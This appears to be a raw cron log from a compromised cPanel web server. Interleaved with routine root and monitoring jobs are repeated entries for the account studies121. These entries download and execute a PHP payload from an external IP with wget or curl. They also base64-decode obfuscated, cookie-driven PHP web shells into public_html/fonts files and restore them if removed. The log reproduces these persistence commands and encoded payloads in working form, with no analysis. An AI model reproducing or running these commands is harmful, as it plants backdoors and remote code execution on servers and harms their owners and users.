Feb 22 23:46:01 ip-184-168-122-23 CROND[19459]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 23:46:01 ip-184-168-122-23 CROND[19458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:46:01 ip-184-168-122-23 CROND[19461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:46:01 ip-184-168-122-23 CROND[19460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:47:01 ip-184-168-122-23 CROND[19767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:47:01 ip-184-168-122-23 CROND[19769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:47:01 ip-184-168-122-23 CROND[19768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:47:01 ip-184-168-122-23 CROND[19770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:48:01 ip-184-168-122-23 CROND[20088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:48:01 ip-184-168-122-23 CROND[20094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:48:01 ip-184-168-122-23 CROND[20092]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:48:01 ip-184-168-122-23 CROND[20093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:48:01 ip-184-168-122-23 CROND[20091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:49:01 ip-184-168-122-23 CROND[20415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:49:01 ip-184-168-122-23 CROND[20416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:49:01 ip-184-168-122-23 CROND[20418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:49:01 ip-184-168-122-23 CROND[20417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:50:01 ip-184-168-122-23 CROND[20746]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 23:50:01 ip-184-168-122-23 CROND[20748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:50:01 ip-184-168-122-23 CROND[20752]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:50:01 ip-184-168-122-23 CROND[20753]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 23:50:01 ip-184-168-122-23 CROND[20757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 23:50:01 ip-184-168-122-23 CROND[20760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:50:01 ip-184-168-122-23 CROND[20761]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 23:50:01 ip-184-168-122-23 CROND[20762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:50:01 ip-184-168-122-23 CROND[20758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:51:01 ip-184-168-122-23 CROND[21222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:51:01 ip-184-168-122-23 CROND[21224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:51:01 ip-184-168-122-23 CROND[21228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:51:01 ip-184-168-122-23 CROND[21225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:52:02 ip-184-168-122-23 CROND[21545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:52:02 ip-184-168-122-23 CROND[21546]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:52:02 ip-184-168-122-23 CROND[21548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:52:02 ip-184-168-122-23 CROND[21547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:52:02 ip-184-168-122-23 CROND[21550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:53:01 ip-184-168-122-23 CROND[21884]: (root) CMD (/usr/lib64/sa/sa2 -A)
Feb 22 23:53:01 ip-184-168-122-23 CROND[21885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:53:01 ip-184-168-122-23 CROND[21888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:53:01 ip-184-168-122-23 CROND[21887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:53:01 ip-184-168-122-23 CROND[21890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:54:01 ip-184-168-122-23 CROND[22233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:54:01 ip-184-168-122-23 CROND[22235]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:54:01 ip-184-168-122-23 CROND[22234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:54:01 ip-184-168-122-23 CROND[22237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:54:01 ip-184-168-122-23 CROND[22238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:55:01 ip-184-168-122-23 CROND[22576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:55:01 ip-184-168-122-23 CROND[22575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:55:01 ip-184-168-122-23 CROND[22580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 23:55:01 ip-184-168-122-23 CROND[22581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:55:01 ip-184-168-122-23 CROND[22579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:55:01 ip-184-168-122-23 CROND[22583]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 23:56:01 ip-184-168-122-23 CROND[22920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:56:01 ip-184-168-122-23 CROND[22921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:56:01 ip-184-168-122-23 CROND[22922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:56:01 ip-184-168-122-23 CROND[22924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:56:01 ip-184-168-122-23 CROND[22925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:57:01 ip-184-168-122-23 CROND[23330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:57:01 ip-184-168-122-23 CROND[23333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:57:01 ip-184-168-122-23 CROND[23332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:57:01 ip-184-168-122-23 CROND[23334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:58:01 ip-184-168-122-23 CROND[23728]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:58:01 ip-184-168-122-23 CROND[23729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:58:01 ip-184-168-122-23 CROND[23734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:58:01 ip-184-168-122-23 CROND[23732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
